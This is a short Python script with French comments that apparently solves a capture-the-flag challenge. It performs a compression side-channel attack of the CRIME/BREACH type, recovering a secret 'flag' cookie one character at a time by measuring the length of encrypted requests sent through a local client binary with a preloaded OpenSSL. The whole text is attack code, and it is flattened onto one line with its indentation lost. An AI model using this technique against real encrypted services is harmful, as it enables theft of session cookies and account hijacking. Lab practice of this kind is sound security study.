from string import ascii_lowercase, ascii_uppercase, digits from subprocess import check_output # Modélise les caractères potentiellement présents dans le cookie, la longueur du cookie est inconnue alphabet = ascii_lowercase + ascii_uppercase + digits # Réinjecte notre propre version d'OpenSSL env = { "LD_PRELOAD": "..." } def request(url: str) -> int: """Executes the client binary with the following URL, and get the request length.""" out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8') return int(out.split(' ')[1]) if __name__ == '__main__': # Commence avec un cookie vide comme longueur de référence cookie = '' best_len = request('flag=' + cookie) # Tant qu'un caractère ajouté ne fait pas varier la longueur des données chiffrées while True: for c in alphabet: current = request('flag=' + cookie + c) if current <= best_len: # Le caractère a été compressé, on l'ajoute au cookie cookie += c best_len = current print(f'Found one byte in cookie: {cookie}') break else: # Aucune variation de longueur, le cookie est complet print(f'Found complete cookie: {cookie}') break